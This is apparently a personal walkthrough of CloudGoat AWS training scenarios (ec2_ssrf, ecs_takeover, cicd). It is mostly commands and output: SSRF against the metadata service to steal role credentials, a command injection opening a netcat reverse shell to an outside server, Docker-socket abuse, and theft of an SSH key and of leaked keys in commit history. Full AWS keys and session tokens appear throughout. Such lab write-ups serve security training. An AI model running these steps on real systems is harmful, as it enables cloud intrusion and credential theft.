export AWS_SECRET_ACCESS_KEY=CQv7E1jnOJe65P/G0Y8lWG8+Urb2T5iK58tdRCoT
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPj//////////wEaCXVzLWVhc3QtMSJGMEQCIAlmisv976K4apgKJsmzPYo9ySvQMzIR3qUrHoHwdEhgAiBD8Ai8ND2+7gM/uKc1dkZdIe8Noc3NjHwZTSmMGUhazCrEBQjB//////////8BEAIaDDY4MzQ1NDc1NDI4MSIMX5DadwM4cvb794ItKpgFdHWl0mNZpOA/t8dToOCKd0ldo5pUovCm+SNlo3wq32ESFQYQp+C4vbD3beXdkSMLuB3IjbdOmdCqj0O6kYvfhpCdEZhWEGP9VEI74dRebitrsm0/hMBA2K5eHa6qgwWc7ZJZS6Ea5rQmgzYRIWemIBFatpWBgxLGw2+wIWJPfSrYvi2teo5qD706DAgPl/s9vHl+aCkCswj89w1nYet+JQQEppuxmn+oqntA/UbNW9/q9piJMKoWHCD+uNuU5lJe68XmkDlJ5JbN/cI9wUB4CKwv8zvbIP2BDcTfWdwT8PJ0Hd5mgRCqDdaEyz5uhW6eUAwLBaYBuv7N5FjuG6hFWj1EtCMzyzhIws0wTr7p6lv9BxtcEsm1askSDcoHM35pQdymKZmxZ9SImLVzTRmGICn0/wVDKZWoiBkYArNPVNQUxAuhzGLHevEHX09E6wYGY4w3I1pVKLRv50GNQSyHUh3HP8clP5MHCgNPkNqWyOpsK4cDc2QwHknNTJAwD5h4xHPi5JpBvkH5+NfLSCOGgMomVlWJiAeGtosdS2AhtLqR0rjOVmAtaUfBBIjb6F3qTGKJml+qU9W0G5NKWa0nXaj0ceU8KqYJ9PHnddgON5UqJbldf1GT6PcCaubSl9JCi5ebv82P9lp918V7vSAXZlheGFgqToWC0Jts83Sx+/abSyxhPkck3O3lObz4EbQ+O0MPBF/UPopjwz6D+dVdhY6A8n7TG7mqUDGNDGW2PbaxqgbNHLioWHGSS3YirIdVxpR23gcFGokjxhLUaX0dlxekIc31BdnU5lGhHHGDpAgNyVn9zhv258qAlRIDPsVbeSqVLoazZUUWNRLZMGQYBm84iWP6Ju5lVoH6lqrnvlvKJ4AKUsyD6zCQw72nBjqyASJJrKCM7sYS3wYBVV71z9ezNzRmHYV4QTEZzGt2EXyoo1eaWyt/CQy7UuH7nrPwrgUZ0p5pJ2wIAjZbHq2yszj1/O9qZQ5W9RKgjWek8TqKc7QP+7nwjr4r42Drdf3QDaVboIEvb8N/KGLpVum0DPLDzPzsHEyyviX8HAd85mX6Okh4TnogJA5LHGnMZfWjegIk8goh/Wa3ouesASoHR+MYSXvbdvGs9ZPQRyVQvjQfVoU=

aws sts get-caller-identity
# {
#     "UserId": "AROAZ6IIT5XUYJACM2KZS:i-06a297e8e278f4152",
#     "Account": "0123456789",
#     "Arn": "arn:aws:sts::0123456789:assumed-role/cg-ec2-role-ec2_ssrf_cgidvxydcyqljq/i-06a297e8e278f4152"
# }

Were not assuming the role that is used by the EC2 server. Lets try out our new permissions

aws iam list-attached-role-policies --role-name cg-ec2-role-ec2_ssrf_cgidvxydcyqljq
# No Access

aws iam list-role-policies --role-name cg-ec2-role-ec2_ssrf_cgidvxydcyqljq
# No Access

aws lambda list-functions
# No Access

aws ec2 describe-instances
# No Access

aws s3 ls
# 2023-08-30 11:34:13 cg-secret-s3-bucket-ec2-ssrf-cgidvxydcyqljq

aws s3 ls cg-secret-s3-bucket-ec2-ssrf-cgidvxydcyqljq
# 2023-08-30 11:34:14         62 admin-user.txt

aws s3 cp s3://cg-secret-s3-bucket-ec2-ssrf-cgidvxydcyqljq/admin-user.txt .

cat admin-user.txt
# AKIAZ6IIT5XURKZJFIOT
# id2KeRbUtgtO9U2BZmtvhlCN5vtmbjDaLvxUMWFI

Viewing the random strings from the file we can guess that they are AWS access keys.

export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XURKZJFIOT
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XU5KRZ6PG25",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/shepard-ec2_ssrf_cgidvxydcyqljq"
# }

Checking perms agains with the new credentials we have access to lambda. Lets try to invoke the function

aws lambda invoke --function-name cg-lambda-ec2_ssrf_cgidvxydcyqljq output.txt

cat output.txt
# "You win!"
Cleanup
rm -r admin-user.txt output.txt

./cloudgoat.py destroy ec2_ssrf

ECS Takeover

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/ecs_takeover/README.md

./cloudgoat.py create ecs_takeover
# vuln-site = "ec2-54-145-38-139.compute-1.amazonaws.com"

Screenshot of the webpage

Lets put in the metadata server address as the url (http://ec2-54-145-38-139.compute-1.amazonaws.com/?url=169.254.169.254).

curl http://ec2-54-145-38-139.compute-1.amazonaws.com/?url=169.254.169.254/latest/meta-data/iam/security-credentials/
# ...
# <p>169.254.169.254/latest/meta-data/iam/security-credentials/</p>
# <p>cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent</p>
# </body>%

We get the name of the role used on the pod cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent

curl http://ec2-54-145-38-139.compute-1.amazonaws.com/?url=169.254.169.254/latest/meta-data/iam/security-credentials/cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent/

The output is all ugly and url encoded. Lets open it instead in a browser and copy it into a new shell. (Still ugly but better)

export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU2HB7DV5S
export AWS_SECRET_ACCESS_KEY=CfWQ5vgs8xpeUHSUwS+5UzSLq2t6lC+JOat5VDlC
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPr//////////wEaCXVzLWVhc3QtMSJIMEYCIQCZO0DVqQ+JzHnCmKs0B0tBB+F0EcoK+6MoewkSGecCRQIhAMbBQgJMHgyaDtwOj24v83ztR6n3ridy8/4r39DFzhgRKsEFCML//////////wEQAhoMNjgzNDU0NzU0MjgxIgwewyAbYgZ3qTQ6QzgqlQWPrSuRuRtSR9zZfM/Lsqgp1Qz0ARz+2gYnEe4vzXvAuAqdvwm2OFxm74PiL/5d1MNvUC6qo5S7XEWZz1PimH7PTeV5ZMNllMVwCKdZaBVfhX+sq4O0bRB4P5NrCtdihzgPq6peam3y16a20vrdeKvPADoGtq9shP98Shofl2TldrjROVkU5K3Z78zRsOB3JqxBsKzsv/K0FArYJLpZaJZnMU2pKmxN2mOVUge4vbSW9Ovnl0rpgycR6CEbSmtJ2lgaZJ/K1zcZY/G/X/GcwXCIMGR5Z3G2rRcEZqTjNL3HuW2aNhEMfwYmYzBuvzHV6miX/iBnbEkiI1AloP8LgVcv85J0av572sGaFYVlljO0UH9ajh0tCxs0SWW1w17gpAo8Cbt0SPc70sXxZDwFrO33JcbgOb0NEJX/U9gPk5F6GAt0qsuYBdhiOiKfI9RD7Zf9awjY7MwkVBNodhNTCT/hyXDKtg7b81FLyXHZEqj6ZtdlHe2hwE1u1O6OlcXb0n2xpFAVxplEybBXd/fBxD2Vt26Re4MmgmN4fBZwa91Rmux/hoKY8zikbI+7u4kK/OYGA02fytkEmAJMVpqfQpnYEe9v4pnQSf9olMBACqQcc0xFI6MpNU120wBpSDtDni20u/0kaer199SEKGQRe/a1h1E+4vVct7oAu0Qzq+w2eOqr4Xcym1FduXV6O/VTJLCtk0la1UzsNy6JKpN/NFN6NHBTrBxYN6jAFtYvyK8IFwrGuQMajS/MUxlFX05gyBE0J5waU2tbZaU2djJjLK7SJwj79diq+dGGZDExx/XIg1/4/N5L/+2SngognvJJafUxOlwQB/QlU0B8IDCpxcMgnHjJNTsixKccWlDiP3/AKc6LGcgRMNPxvacGOrABrLH3kCUj4v4dcEGYXj0gyoo/YxkbOOx5W0UOR2HeNXuzzFfJ2VVJU43D/lXrA4USziqbRt7PI+KlfgkPNbXeBYZjvzzSV/2kUEBYS0/EgK646lgL2VKVMflN0GB3uE0MYBHAbRQWj6qZ8OO9o+wVkWayP1onjUeAKupOgG7jdksohvMhZU8KJxEJHIrx8D+RmwC66c/SiENfSi9VPwXe6tnQY7XSei6W5F0XwVk2Cho=

 aws sts get-caller-identity
# {
#     "UserId": "AROAZ6IIT5XUQJ5W3EJQN:i-02318ab01b630a97d",
#     "Account": "0123456789",
#     "Arn": "arn:aws:sts::0123456789:assumed-role/cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent/i-02318ab01b630a97d"
# }

Were not assuming the ECS task role lets try to find out what perms it has.

aws iam list-attached-role-policies --role-name cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent
# No Access

aws iam list-role-policies --role-name cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent
# No Access

Trying different permissions all fail. Lets try some injections into the website

curl http://ec2-54-145-38-139.compute-1.amazonaws.com/?url=foo+%3B+pwd
# <p>foo ; pwd</p>
# <p>/build
# </p>

We have a command injection, lets poke around on the container

curl http://ec2-54-145-38-139.compute-1.amazonaws.com/?url=%3B+cat+main.go
# exec := exec.Command("/bin/sh", "-c", "curl "+cmd)

From this line we can see that there is no sanatization on inputs what are being submitted.

curl http://ec2-54-145-38-139.compute-1.amazonaws.com/?url=%3B+whoami
# root

This is getting annoying having to run all commands throught a web request, lets get a reverse shell. Note that everything can be done with command injection through the website.

  1. Check if netcat is installed with http://ec2-54-145-38-139.compute-1.amazonaws.com/?url=%3B+which+nc
  2. Spin up a public server. Its public IP is 3.238.91.150
  3. From our server run the following command netcat -lvp 4444
  4. From the webpage run the following command ; nc 3.238.91.150 4444 -e /bin/sh a. The webpage page is now hanging and not loading b. If the shell ever breaks just rerun both steps 3 and 4
  5. Back on our server we can run shell commands

Lets poke around more

df
# Filesystem           1K-blocks      Used Available Use% Mounted on
# overlay               31444972   2624148  28820824   8% /
# tmpfs                    65536         0     65536   0% /dev
# tmpfs                   483408         0    483408   0% /sys/fs/cgroup
# /dev/nvme0n1p1        31444972   2624148  28820824   8% /etc/resolv.conf
# /dev/nvme0n1p1        31444972   2624148  28820824   8% /etc/hostname
# /dev/nvme0n1p1        31444972   2624148  28820824   8% /etc/hosts
# shm                      65536         0     65536   0% /dev/shm
# tmpfs                   483408       464    482944   0% /run/docker.sock

Interesting fine when looking at what filesystems are mounted, /run/docker.sock

Lets see what we can fine when investigating the docker socket Ref.

curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

[
    {
        "Id": "c9c70742611b8e77d8eae406d6af427a32c72d47b37f6817235c5ea5227e3eee",
        "Names": [
            "/ecs-cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-vulnsite-1-vulnsite-8090b48d90a0ac8b5d00"
        ],
        "Image": "cloudgoat/ecs-takeover-vulnsite:latest",
        "ImageID": "sha256:cf9da13f75ef5cd8526046ea4d07ca22edba137116c4096b165ac708e9610c1f",
        "Command": "./main",
        "Created": 1693415692,
        "Ports": [],
        "Labels": {
            "com.amazonaws.ecs.cluster": "ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster",
            "com.amazonaws.ecs.container-name": "vulnsite",
            "com.amazonaws.ecs.task-arn": "arn:aws:ecs:us-east-1:0123456789:task/ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster/1e76dcfdbd73480595d55178e8c99c7f",
            "com.amazonaws.ecs.task-definition-family": "cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-vulnsite",
            "com.amazonaws.ecs.task-definition-version": "1"
        },
        "State": "running",
        "Status": "Up 45 minutes",
        "HostConfig": {
            "NetworkMode": "host"
        },
        "NetworkSettings": {...},
        "Mounts": [
            {
                "Type": "bind",
                "Source": "/var/run/docker.sock",
                "Destination": "/var/run/docker.sock",
                "Mode": "",
                "RW": true,
                "Propagation": "rprivate"
            }
        ]
    },
    {
        "Id": "77a5c85e02c210e3e70e9c3a53b41f12ba4b7efd33d631fc0c09b89dc9d9cc33",
        "Names": [
            "/ecs-cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-privd-1-privd-b2abff9fa9f8f3af7e00"
        ],
        "Image": "busybox:latest",
        "ImageID": "sha256:a416a98b71e224a31ee99cff8e16063554498227d2b696152a9c3e0aa65e5824",
        "Command": "sleep 365d",
        "Created": 1693415677,
        "Ports": [],
        "Labels": {
            "com.amazonaws.ecs.cluster": "ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster",
            "com.amazonaws.ecs.container-name": "privd",
            "com.amazonaws.ecs.task-arn": "arn:aws:ecs:us-east-1:0123456789:task/ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster/87b6b62a6d7e4344b74719312fcd370c",
            "com.amazonaws.ecs.task-definition-family": "cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-privd",
            "com.amazonaws.ecs.task-definition-version": "1"
        },
        "State": "running",
        "Status": "Up 45 minutes",
        "HostConfig": {
            "NetworkMode": "default"
        },
        "NetworkSettings": {...},
        "Mounts": []
    }
]

Interesting we can view all of the running containers. Lets try to exec into the privilaged container

curl -s --unix-socket /var/run/docker.sock \
  -H "Content-Type: application/json" \
  --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["pwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
  http://localhost/containers/77a5c85e02c210e3e70e9c3a53b41f12ba4b7efd33d631fc0c09b89dc9d9cc33/exec

# {"Id":"96c475ad77172340144fdcaba828e30e2e2122c8b0593ebb0d0e55a0b1eebf51"}

The command returns us the ID of the exec session

curl -s --unix-socket /var/run/docker.sock \
  -H 'Content-Type: application/json' \
  --data-binary '{"Detach": false,"Tty": false}' \
  http://localhost/containers/exec/96c475ad77172340144fdcaba828e30e2e2122c8b0593ebb0d0e55a0b1eebf51/start

# {"message":"starting container with non-empty request body was deprecated since API v1.22 and removed in v1.24"}

Hmmm, dont want to troubleshoot that, lets installed docker directly on the container (Ref). The container is running alphine (looked at /etc/os-release)

Install with apk add --update docker openr then service docker start and verify with docker --version.

docker container ls
# CONTAINER ID   IMAGE                                    COMMAND        CREATED             STATUS                       PORTS     NAMES
# c9c70742611b   cloudgoat/ecs-takeover-vulnsite:latest   "./main"       59 minutes ago      Up 59 minutes ecs-cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-vulnsite-1-vulnsite-8090b48d90a0ac8b5d00
# 77a5c85e02c2   busybox:latest                           "sleep 365d"   59 minutes ago      Up 59 minutes ecs-cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-privd-1-privd-b2abff9fa9f8f3af7e00
# 0a3421807534   amazon/amazon-ecs-agent:latest           "/agent"       About an hour ago   Up About an hour (healthy)             ecs-agent

docker exec 77a5c85e02c2 sh -c 'curl 169.254.169.254/latest/meta-data/iam/security-credentials/'
# For some reason it does not output to STDOUT when using wget it does

docker exec 77a5c85e02c2 sh -c 'wget -O- 169.254.169.254/latest/meta-data/iam/security-credentials/'
# cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent

Its giving us the node role again, we dont want that. Doing some digging there is a different IP used to get container credentials 🤦.

docker exec 77a5c85e02c2 sh -c 'wget -O- 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
# Credential output

Bingo lets move these credentials to a local shell

export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XUULEDYCFX
export AWS_SECRET_ACCESS_KEY=o24grNBHZXTvudvuT3JFf3uQZGF0zvwZIhzaafh6
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPv//////////wEaCXVzLWVhc3QtMSJGMEQCIDaK5+8F6191z3SutFWayKoNc1MqaI/wo+TUpx/zXbxqAiBOaEff1HENMxAlnp5Iza1O47QW2KilUGpRNmBJai9+KCrABAjD//////////8BEAIaDDY4MzQ1NDc1NDI4MSIMJXpqDe/YEXaQS11gKpQEyquwdZos3kfIY27MuBPcZwcD4ypiv18jhKEHY31QMYA0SoIwjkk4279fqQli7mIQNUam5zu05rAqwzWzqtuq232f7hYFZUpSseR26bFUHDHW++MflxRjKcLBhwVWgj+7vJH9lMdzw/eVYKKEQYRhwV0iPzrzcsHhg7UKoM8eKp86lIzSbhBgwYjRQLijsIKkoVF7A33ICK8a4VqqTsmmnzkJ6ilE+MsqLR1NPLZC9k1KVNHlJHpccRhHr98XTuOPN0AnA4xlSHvZYlt/B++8ICDkKqG0TmP9H950HyNeaibYhBsK8G+qxPmrxDuXr0qHfseCGh9IYx8hSjUTiQTjU+FNfIDMTtc0gIdDQGqE+VleRaQ6l7c1vOXPqO/sLFhtUtLVBJGGG+LBtnCVL+6pXJA8yVo/lNYVitz94HkCD2NB0EXBN4QR0SmYQrE263X/wILSuVG5pvRrMskbUpCl0HZJn4KIHvp6X60swSxj+QflE+QLNwh7ufYH3OLf3GY49a/rj/lfvwlxi+CJ/7n7fhEaYFBSls1SnuoCxZZ7c9N6oQ4krLGcAPYYUHfdoxVcgIDUYt2PPTqH4oYiE6zFgfhpkTeg3pee+TXK6uZ4AN7Fq5GhqMZ8sKNDYphVpdBuoOu4omkLrgAUGEYWLmSxHVqM4XYupkWn2QlS0N7wyPItJRdzdbi3xbP9YfccvKUGLSTiFzDrkL6nBjqnAQpkPq984gcC4FOQgFwZ8R2Di75Euax73fXTO1YbLCua/Se5fInGI4MCOzAo4zxYGthMGuoNPxM0WQ2l6B6OeCDnHfsSJXDl3KdOZa/VftuRt+8Ezpgm5QDgtOg69Hx7+Zq7hiLiBaSVlXnJxmI+HEbkttNog0wilg1cH/wGOB8LcxgoDRO3XGK4WfmABsS4S2THaK7bQENSQ1W8UzaBjN7XY3PjFY+e

aws sts get-caller-identity
# {
#     "UserId": "AROAZ6IIT5XUQIFNCHB4H:025ae6f276064bfcb5203024639ea43f",
#     "Account": "0123456789",
#     "Arn": "arn:aws:sts::0123456789:assumed-role/cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-privd/025ae6f276064bfcb5203024639ea43f"
# }
aws iam list-attached-role-policies --role-name cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-privd
# "PolicyArn": "arn:aws:iam::0123456789:policy/cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-privd"

aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-privd --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "ecs:ListServices",
                        "ecs:ListTasks",
                        "ecs:DescribeServices",
                        "ecs:ListContainerInstances",
                        "ecs:DescribeContainerInstances",
                        "ecs:DescribeTasks",
                        "ecs:ListTaskDefinitions",
                        "ecs:DescribeClusters",
                        "ecs:ListClusters",
                        "iam:GetPolicyVersion",
                        "iam:GetPolicy",
                        "iam:ListAttachedRolePolicies",
                        "iam:GetRolePolicy"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-30T17:13:40+00:00"
    }
}

Do some investigation

aws ecs list-clusters
# {
#     "clusterArns": [
#         "arn:aws:ecs:us-east-1:0123456789:cluster/ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster"
#     ]
# }

aws ecs list-container-instances --cluster ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster
# {
#     "containerInstanceArns": [
#         "arn:aws:ecs:us-east-1:0123456789:container-instance/ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster/1ff26d08d9184de18f8ab0a232d89f02",
#         "arn:aws:ecs:us-east-1:0123456789:container-instance/ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster/b8f58a634a8f4f9fb62e24bc2cb9fbf6"
#     ]
# }

aws ecs list-services --cluster ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster

We seem stuck here with this role. Lets look at what permissions the other role has

aws iam list-attached-role-policies --role-name cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-ecs-agent
# "PolicyArn": "arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role"

aws iam get-policy --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
# DefaultVersionId: v7

aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role --version-id v7
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "ec2:DescribeTags",
                        "ecs:CreateCluster",
                        "ecs:DeregisterContainerInstance",
                        "ecs:DiscoverPollEndpoint",
                        "ecs:Poll",
                        "ecs:RegisterContainerInstance",
                        "ecs:StartTelemetrySession",
                        "ecs:UpdateContainerInstancesState",
                        "ecs:Submit*",
                        "ecr:GetAuthorizationToken",
                        "ecr:BatchCheckLayerAvailability",
                        "ecr:GetDownloadUrlForLayer",
                        "ecr:BatchGetImage",
                        "logs:CreateLogStream",
                        "logs:PutLogEvents"
                    ],
                    "Resource": "*"
                },
                {
                    "Effect": "Allow",
                    "Action": "ecs:TagResource",
                    "Resource": "*",
                    "Condition": {
                        "StringEquals": {
                            "ecs:CreateAction": [
                                "CreateCluster",
                                "RegisterContainerInstance"
                            ]
                        }
                    }
                }
            ]
        },
        "VersionId": "v7",
        "IsDefaultVersion": true,
        "CreateDate": "2023-03-06T22:19:04+00:00"
    }
}

Some jucy permissions; CreateCluster, RegisterContainerInstance, and UpdateContainerInstanceState

Lets drain on of the ECs instances so everything is on one node.

aws ecs update-container-instances-state --cluster ecs-takeover-ecs_takeover_cgid7vhfzmjmel-cluster --container-instances 1ff26d08d9184de18f8ab0a232d89f02 --status DRAINING

If it takes forever activiate and drain the other container instance.

Back on our reverse shell lets see if the container was moved

docker container ls
# CONTAINER ID   IMAGE                                    COMMAND                   CREATED              STATUS                 PORTS     NAMES
# 7e496bc250fb   busybox:latest                           "sh -c '/bin/sh -c \"…"   About a minute ago   Up About a minute                ecs-cg-ecs-takeover-ecs_takeover_cgid7vhfzmjmel-vault-1-vault-aa8d809899e69f921900

docker exec 7e496bc250fb cat FLAG.TXT
{{FLAG_1234677}}

Finally were done, that was long

Another that this could probably have been done was to break docker on the node and then the website task would have been moved by ECS to the other instance.

Cleanup
./cloudgoat.py destroy ecs_takeover

CICD

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/cicd/README.md

./cloudgoat.py create cicd
# cloudgoat_output_access_key_id = AKIAZ6IIT5XU6XJQNWUH
# cloudgoat_output_api_url = https://54am1r99ki.execute-api.us-east-1.amazonaws.com/prod
# cloudgoat_output_secret_access_key = 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

Lets see what we have access to with the credentials

export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XU6XJQNWUH
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XUYZY6BUSUI",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/ec2-sandbox-manager"
# }

aws iam list-attached-user-policies --user-name ec2-sandbox-manager
# None

aws iam list-user-policies --user-name ec2-sandbox-manager
# "initial-policy"

aws iam get-user-policy --policy-name initial-policy --user-name ec2-sandbox-manager
{
    "UserName": "ec2-sandbox-manager",
    "PolicyName": "initial-policy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "ec2:CreateTags",
                    "ec2:DeleteTags"
                ],
                "Condition": {
                    "StringLike": {
                        "ec2:ResourceTag/Environment": [
                            "dev"
                        ]
                    }
                },
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": [
                    "ssm:*"
                ],
                "Condition": {
                    "StringLike": {
                        "ssm:ResourceTag/Environment": [
                            "sandbox"
                        ]
                    }
                },
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": [
                    "ssm:*"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:ssm:*::document/*"
            },
            {
                "Action": [
                    "iam:List*",
                    "iam:Describe*",
                    "iam:Get*",
                    "ec2:Describe*",
                    "ec2:List*",
                    "ssm:Describe*",
                    "ssm:Get*",
                    "codecommit:ListRepositories"
                ],
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": "ec2:DescribeInstanceAttribute",
                "Effect": "Deny",
                "Resource": "*"
            },
            {
                "Action": "sts:GetFederationToken",
                "Effect": "Allow",
                "Resource": "arn:aws:sts::0123456789:federated-user/ec2-sandbox-manager",
                "Sid": "AllowConsoleAccess"
            }
        ]
    }
}

Looks like some describe actions, tag, the ability to ssm into sandbox instance, list code commit repositories and get a federation token.

aws ec2 describe-instances
# "InstanceId": "i-0e56028e0f915b483"
# "IamInstanceProfile": {
#   "Arn": "arn:aws:iam::0123456789:instance-profile/dev-instance-profile",
#   "Id": "AIPAZ6IIT5XU6Z37L5SN2"
# },
# "Tags": [
#   {
#     "Key": "Name",
#     "Value": "dev-instance"
#   },
#   {
#     "Key": "Environment",
#     "Value": "dev"
#   }
# ],            

Looks like we cannot assume it because it does not have a sandbox tag. But we have the permission to change tags, how convenient

aws ec2 create-tags --resources i-0e56028e0f915b483 --tags Key=Environment,Value=sandbox

aws ec2 describe-instances --instance-ids i-0e56028e0f915b483
# Confirm the change

aws ssm start-session --target i-0e56028e0f915b483
# An error occurred (TargetNotConnected) when calling the StartSession operation: i-0e56028e0f915b483 is not connected.

Hmmm lets circle back to the endpoint we got (https://54am1r99ki.execute-api.us-east-1.amazonaws.com/prod)

curl --request POST \
  --url https://54am1r99ki.execute-api.us-east-1.amazonaws.com/prod/hello \
  --header 'Content-Type: text/plain' \
  --data superSecretData=foo

# {
#   "message": "OK"
# }

Did some poking around seem to be an issue in the current version for this scenario. Edit: Pull Request to fix issue

I had to manually update the security group to allow egress traffic from the dev-instance server. Lets try SSM again…

aws ssm start-session --target i-0e56028e0f915b483
# Starting session with SessionId: ec2-sandbox-manager-0a3108e437880eaa0
# $
$ cd
$ bash
ssm-user@ip-10-0-1-151:~$ ls -la
# total 12
# drwxr-xr-x 3 root root 4096 Aug 31 12:07 .
# drwxr-xr-x 4 root root 4096 Aug 31 12:07 ..
# drwxr-xr-x 2 root root 4096 Aug 31 12:07 .ssh
ssm-user@ip-10-0-1-151:~$ cd .ssh
ssm-user@ip-10-0-1-151:~/.ssh$ ls -l
# total 4
# -rw-r--r-- 1 root root 1676 Aug 31 12:07 id_rsa
ssm-user@ip-10-0-1-151:~/.ssh$ cat id_rsa

Copy the file and bring it back to your local machine (cicd_id_rsa).

Lets look at what CodeCommit repositories exist.

aws codecommit list-repositories
# {
#     "repositories": [
#         {
#             "repositoryName": "backend-api",
#             "repositoryId": "c72b5e83-7916-41e1-88ba-7ba0599870e6"
#         }
#     ]
# }

Maybe we can use the SSH key to clone the repositoy locally. I found this article on how to setup CodeCommit locally. Seem that we need to have a SSH key attached to our user tho.

Our user does not have or permissions to attach a SSH key, maybe another user does.

aws iam list-users
# developer
# ec2-sandbox-manager
# cloner

aws iam list-ssh-public-keys --user-name developer
aws iam list-ssh-public-keys --user-name ec2-sandbox-manager
# None

aws iam list-ssh-public-keys --user-name cloner
# {
#     "SSHPublicKeys": [
#         {
#             "UserName": "cloner",
#             "SSHPublicKeyId": "APKAZ6IIT5XU7I7MSJVI",
#             "Status": "Active",
#             "UploadDate": "2023-08-31T12:06:18+00:00"
#         }
#     ]
# }

Lets add the ssh configs to our user & try to clone the repo (aws doc).

chmod 400 ~/cicd_id_rsa

cat > $HOME/.ssh/config << "EOF"
Host git-codecommit.*.amazonaws.com
  User APKAZ6IIT5XU7I7MSJVI
  IdentityFile ~/cicd_id_rsa
EOF

git clone ssh://git-codecommit.us-east-1.amazonaws.com/v1/repos/backend-api

ls -l backend-api
# total 32
# -rw-r--r--@ 1 host  staff  184 Aug 31 09:05 Dockerfile
# -rw-r--r--@ 1 host  staff  466 Aug 31 09:05 app.py
# -rw-r--r--@ 1 host  staff  526 Aug 31 09:05 buildspec.yml
# -rw-r--r--@ 1 host  staff    8 Aug 31 09:05 requirements.txt

Lets test the CICD pipeline. I’m going to add the line "foo": "bar", in the app.py file and try to commit it. It does not have permission to push (codecommit:GitPush) 😦.

Looking througth the commit history I found some credentials that were commited 😮. Lets see if there still valid

export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XUSG54FPFP
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XUX4DNCCRTO",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/developer"
# }

Back in our user that can view IAM lets see what we got

aws iam list-attached-user-policies --user-name developer

aws iam list-user-policies --user-name developer
# "developer-policy"

aws iam get-user-policy --policy-name developer-policy --user-name developer
{
    "UserName": "developer",
    "PolicyName": "developer-policy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "codecommit:GitPush",
                    "codecommit:GitPull",
                    "codecommit:PutFile"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:codecommit:us-east-1:0123456789:backend-api"
            },
            {
                "Action": [
                    "codecommit:Get*",
                    "codecommit:List*",
                    "codebuild:List*",
                    "codebuild:BatchGetProjects",
                    "codebuild:BatchGetBuilds",
                    "codepipeline:List*",
                    "codepipeline:Get*",
                    "codedeploy:List*",
                    "logs:Get*",
                    "logs:Describe*"
                ],
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": [
                    "*"
                ],
                "Effect": "Deny",
                "Resource": "arn:aws:codebuild:us-east-1:0123456789:project/OUTOFSCOPE_simulate-user-activity"
            },
            {
                "Action": "sts:GetFederationToken",
                "Effect": "Allow",
                "Resource": "arn:aws:sts::0123456789:federated-user/developer",
                "Sid": "AllowConsoleAccess"
            }
        ]
